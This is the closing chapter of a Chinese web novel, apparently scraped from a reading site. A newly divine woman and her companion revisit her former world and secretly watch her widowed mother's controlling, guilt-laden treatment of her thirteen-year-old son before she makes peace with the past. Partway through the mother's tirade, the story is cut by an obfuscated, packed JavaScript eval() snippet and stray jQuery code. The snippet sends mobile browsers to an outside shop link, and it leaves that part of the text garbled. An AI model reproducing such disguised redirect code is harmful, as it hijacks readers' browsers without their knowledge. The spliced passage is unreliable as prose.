129. 第 129 章
作品:《丧丧的也很可爱啊[基建]》 柴棉棉成神后,动用神力遮掩了世人对她模样和名字的记忆。
她自称为匠人,方知画自称为画家,两人一路游山玩水,谈天说地。
若是遇到部落、村庄或者城市,她便酌情留下一两项较为先进的技术,推动兽人文明发展;若是有合适的野兽种类,方知画也会酌情挥动画笔,将其点化为兽人。
两人游历了上百年,方才尽兴,回到神国。
有一天,柴棉棉正坐在窗边看着电视织手套,意识突然勾连上了天道意识,不由动作一顿。
厨房里的方知画察觉到动静,拿着锅铲走出来:“怎么了?”
柴棉棉道:“天道说我这百年的文明之神做得很好,察觉到我还有上辈子的心结未了,特地奖励,允许我回去一趟了却心结。”
方知画微微皱眉:“心结?你上辈子还有什么心结未了?”
柴棉棉沉默片刻,忽然一叹:“是我上辈子的母亲。”
方知画眉心舒展开:“那就去看看吧。顺便进点儿货,这些电视剧咱们都看了几百遍了,弄点儿新的回来,再搞些漫画、游戏、电影,丰富一下咱们的精神生活。”
柴棉棉看他表情轻松,本来有些沉重的心情一下子也不沉重了,笑道:“你说得对。”
两个人一起吃饱喝足,手牵手离开了神国,在世界意识的帮助下,开始了穿越之旅。
充满现代化气息的城市上空,两道身影浮现出来。
柴棉棉与此方世界意识勾连了一下,得到信息:“现在的时间,是我不慎坠楼的三个月之后。”
“走,先去我继父家看看吧。”
两人如一道流星飞向一座十八线小城市。
那是一座经济不怎么发达的小城市,其中居民大多数都来自于周边农村,很多人都有重男轻女的思想,恃强凌弱之类的恶劣事件也常有发生。
两人来到一个小区,小区内高楼丛立,楼与楼之间距离很窄,看上去似乎没建多少年,外面的墙皮却有许多都脱落了,又新又旧的。
此时正值上午8点多钟,很多老婆婆或者年轻女人推着婴儿车、带着小朋友在小区里晒太阳、闲逛、聊天。年轻女人打扮得稍微时尚些,老婆婆就完全是一副农村妇女的模样。
柴棉棉走到七栋楼下,见有几个老婆婆坐在花坛边聊天,便坐过去,自然而然地问道:“我记得这栋楼,三个月前,死过人吧?”
聊天的几个老婆婆一愣,同时扭头看过来。
柴棉棉打开腿边的塑料袋,拿出几个又大又圆的红苹果分给她们,微笑道:“路上随便买的,不值几个钱,拿回去给孩子尝尝味儿。”
几个老婆婆顿时乐了,谈兴大起,带着浓重的口音说道。
“是有这么一回事儿,我记得,是46楼,那屋里的男人与先前那个离婚了,带了个男娃,后面又和带一个女娃的女人结婚了,死的就是那个男人和那个女娃,一起从阳台掉下来摔死的。”
“这其中怕是有鬼哦,大晚上的,一个男人怎么会和一个女娃一起掉下来,又不是亲生的。”
“嗨,还不就是那点儿事!”
几个老婆婆心照不宣地笑了起来。
方知画顿时心生愤怒,忍不住就要显出身形教训她们一顿,柴棉棉立刻将他按住,摇了摇头。
事情都过去那么久了,她们哪知道其中痛苦血泪呢?谁人背后不说人?谁人不被背后说?
她都成神了,就不用再计较这些了。
柴棉棉问道:“后来呢?后来又发生了什么?我记得那屋里的女人有个小儿子,小儿子特别有出息,考上了京城大学的少年班。”
“本来就是半路夫妻,那屋里的男人一死,家肯定就散了啊。”
“那男人的大儿子和婆婆是一头的,那女人是一头的,两头闹起来了,闹得特别凶。”
柴棉棉:“哦?是为什么闹起来了?”
“还能是为什么?当然是为钱啊!”
“那个小儿子考上了京城大学的少年班,有出息是有出息,但是去京城生活,要好大一笔钱哦!那个女人还要去京城陪读,要的钱就更多了!她又不能住在学校里,只能在外面租房子住,一个月光是房租就要几千块,谁拿得出来啊?”
“那大儿子不肯出这笔钱,两边就闹起来了。”
“不过那个女人还是蛮有本事,撒泼打滚一个多月,硬是从那个大儿子和婆婆手上拿了一笔钱走了,房子不要了,去京城了。”
“我跟你们讲,她没要到很多钱哦!我有个亲戚的儿子是开公交车的,说那个女人带小儿子走的那天,在车上又哭又骂,嚷了一路,凶得很,谁都不敢靠近她呢!”
几个婆婆七嘴八舌又聊了很多,柴棉棉得到了想要的信息,悄无声息地走了。
“走吧,咱们去京城。”
京城是这个国家最繁华先进的城市,处处都是高楼大厦,灯火繁华,人流川流不息。
柴棉棉找到京城大学,又费了一番功夫,打听到了那对母子的住处。
他们住在偏僻地带的一处老式居民楼里,离京城大学很远很远,柴棉棉算了下路程,如果说坐公交车的话,得转三趟车,坐接近3个小时,一来一回就大半天。
柴棉棉没有去见他们,而是隐身在附近静静地等着。
妈,你没了我这个没用的女儿,只剩一个很有出息的儿子,是不是很幸福、很开心?
她一直安静地等到晚上。
等到那个熟悉的身影骑着小摊车出现,看她拔下车钥匙、吃力将小摊上的东西一桶一桶地提上楼。
看她收拾屋子、做饭,然后把做好的饭菜热了一遍又一遍,等人回来。
深夜,故事的另一个主角终于回来了。
他今年十三岁,瘦瘦小小的,眼角嘴角皆是下垂,看着就不太高兴。
“怎么回来得这么晚?”
“学校里有事,耽搁了一会儿。”
“先吃饭吧。”
少年拿起碗,想要去厨房添一碗饭,女人夺过他手里的碗,将一小盆米饭放在他手上:“你吃这个。”
少年说:“这太多了,我吃不完。”
“这哪里多了?”女人抬高声音,“你正在长身体,天天上课又要用脑子,怎么可能吃不完?吃,坐下来,吃!”
女人扯着他坐下,开始不断地往他的盆里夹菜:“这个好吃,吃这个,这个有营养,这个是好肉,我专门去菜市场给你买的……”
她絮絮叨叨的,把少年手里的铁盆堆得冒了尖。
少年不停地说‘够了,够了,真的够了’,女人就跟没听见似的,一个劲儿地往他的饭盆里夹菜。
少年终于忍不住了,大喊一声:“我都说够了!我吃不了这么多,你听不见吗?”
女人一愣,紧接着把嗓门提得更高:“你这是什么态度?我辛辛苦苦的,每天早出晚归地挣钱,供你吃供你喝供你住,这些东西我自己都舍不得吃,全买来了给你吃,我还有错了?”
少年露出痛苦的表情,重新把脑袋低了下去,捏着筷子把反胃的东西硬往嘴里塞。
女人看着他吃了一会儿,又问:“这个月的月考成绩单呢?”
少年放下筷子,拿过一旁的背包,从里面掏出一张纸条,放在桌上。
女人拿起纸条看了一会儿,眉头皱起:“第十名?怎么下降了那么多?”
少年含糊不清地说:“这次的题目比较难。”
“胡说!”女人瞪眼道,“题目你难,那别人也难,大家都难,你的名次为什么会下降?”
她一指指向少年,怀疑道:“你是不是玩手机了?打游戏了?学着人家在网上搞网恋了?”
少年道:“没有。”
女人:“我不信,你把手机给我看看。”
说着她就要翻少年的背包,少年一把夺过背包,大吼道:“你干什么?!”
女人一愣,瞬间抢得更加用力了:“你给我!我是你妈,我有什么不能看的?”
她非常用力地扒拉开少年的手,从背包里摸出手机来。
少年激动得脸都红了,使劲去抢手机:“你还给我!这是我的隐私,你凭什么看我的隐私?”
“隐私?你有什么隐私?你浑身上下哪点儿我没看过?我是你妈,你的什么隐私我不能看?”女人挡住他的手,打开手机锁屏,输入密码进入家长控制模式,翻找里面聊天软件的记录。
突然,她动作一顿:“纪娇妍,这是谁?什么叫‘谢谢,你送的奶茶很好喝’?你喝人奶茶了?”
少年一听,又开始抢起手机来:“这是我给人讲题,她感谢我,才请我喝奶茶的。你把手机还给我!”
“你给人讲题目?你自己的名次都下降了你还给别人讲题目?”女人挡住少年的手,用背部隔开少年,更加专注地翻起历史聊天记录来,“好啊你骗我!什么学校有事耽搁了,是你给这个女的讲题目讲到现在了才回来。她给你的奶茶呢?你在路上就喝光了?怪不得吃不下我给你做的饭。”
少年激动大吼,嗓音里都带了哭腔:“你给我!你把手机还给我!”
女人根本不听,还在那儿咬牙切齿地骂:“小小年纪不学好,尽学狐媚子勾引别人男生,等哪天我非要去找你们学校的老师领导问问,个个是天才的少年班怎么招收了这么一个狐媚子?她妈是怎么教她的?教出了这么一个没脸没皮的下贱胚子!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970113|180883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年终于忍不下去了,用尽全力推开她的背部,一把夺过她手里的手机:“我说了,让你还给我!”
女人这么猛力一推,猝不及防没站稳,往旁边踉跄了几步,险些摔倒在地上。
少年一惊,连忙去扶:“妈!你没事吧!”
女人尖叫两声勉强站稳了,随即不可置信般看向少年:“你推我?陈家兴,你跟你妈动手?!我十月怀胎生下你,辛辛苦苦把你养这么大,拼了命挣的那点儿钱全花你身上了,你跟我动手?”
说着说着,她眼泪就出来了:“你爹死了,你哥不是个东西,你那个奶奶眼睛里只有她那个大孙子,要不是我,你早就被吃得骨头渣子都不剩了!你看看我的脸,看看我的头发,看看我的手!京城物价那么贵!我每天凌晨三点钟就要起来洗菜切菜,骑着车子出去摆摊,被人家欺负,被城管赶……要不是为了你,我至于活成这个鬼样子吗?事到如今,我看看你的手机都不行了?”
少年手足无措:“妈……”
女人絮絮叨叨、骂天骂地,简直有无穷无尽的怨气,但翻来覆去地说,核心意思就是那么些:我为了你付出那么多,你不乖乖听话、不争气好好读书就是对不起我;我做到的一切都是为了你好;世界上没有人会比我对你更好了,你敢撒谎骗我、敢违逆我的意思就是大逆不道!
少年被说得表情越来越痛苦,最后不得不道了歉:“妈,我错了……”
女人哭骂了一通,满意了,又开始絮叨起来:“家兴,我跟你说,你要好好读书,将来做官、挣大钱,气死你那个奶奶和那个哥哥,让他们欺负我们母子俩,总有一天他们要后悔的……”
少年在女人的念叨声中表情逐渐麻木,眉眼嘴角似乎下垂得更加厉害了。
方知画看完全程,有些毒舌地吐槽了一句:“我感觉你妈都要寄生在你弟弟身上了。”
柴棉棉转身:“走吧。”
两人飘落到附近的一处公园,在静谧的、亮着路灯的林间道上慢慢散步。
柴棉棉走了一会儿,突然问道:“方大哥,你觉得…我妈,她爱我弟弟吗?”
“爱啊。”方知画毫不犹豫地说,“不过她的爱里显然充满了私心,又因为你弟弟是她儿子,她从来没把他当成一个人,而是当成了寄托全部希望的所有物。无论她有多么爱你弟弟,其实本质是她在爱自己。”
“是啊。”柴棉棉轻叹道,“这么简单的一个道理,我当年却始终看不清。”
方知画轻轻摩挲她的胳膊安抚:“当局者迷,旁观者清嘛。更何况,她是你的母亲,谁能那么容易想明白呢?”
柴棉棉低声道:“其实,从客观的角度,把她当作一个人来看待就明白了。无论她是男是女,她是人,人就一定会有私心。旁观我当年的经历,十月怀胎生下一个孩子固然辛苦不易、固然付出良多、固然出于本能喜欢得不得了,可若是这个孩子在后续成长中带不来任何收益,反而导致她失去丈夫、失去经济来源、被周围所有人指指点点过得痛苦得不得了,那她选择放弃这个孩子,也是在情理之中的。更何况,她还没放弃我,还一直供我读书读到高中毕业呢。”
说着,她的眼角又微微湿润了。
方知画摸摸她的头,将她揽在怀里:“可你若是这么去看她,就不是以一个孩子的角度去看母亲了,而是以一个陌生人的角度去看另一个陌生人。以孩子的角度只会想,妈妈,你为什么不爱我?为什么不理解我?为什么要抛弃我?”
柴棉棉闭上眼睛,轻声叹息:“是啊,我会这么想,就意味着我不再把她当成是最亲最爱的母亲了。如果我还活在这个世界上,我们就是关系比较亲近的亲戚;不过这个世界的我早已经死了,我们现在就是…就是陌生人。”
她并没有哭太久,这个心结虽然一直横亘在她心里,但她早已不像当初那样执着、那样耿耿于怀。
她看清楚了,想明白了,心里的最后一丝执念便也随风飘散了。
说到底,就是她上辈子比较倒霉,开局拿了一把垃圾牌,可若是她一直心心念念痛苦于这把垃圾牌,那她一辈子就别想有什么好的打牌体验了。
她唯一该做的,就是往前看,向前走。
没准儿哪一天就能把手上的垃圾牌换了,就算换不了,那也努力过了,算是不虚此生。
柴棉棉睁开眼睛,握住方知画的手,笑容格外温柔又美好:“我们走吧。不是说好要进货的吗?好不容易来一趟,咱们得好好地逛一场,把想买的东西都买回去!”
“好啊!”方知画顿时激动起来,笑容灿烂,“我跟你说,刚刚我在飞的时候,看见一家谷子店,这个时间还开着门呢,我们去瞧瞧吧!”
(全文完)

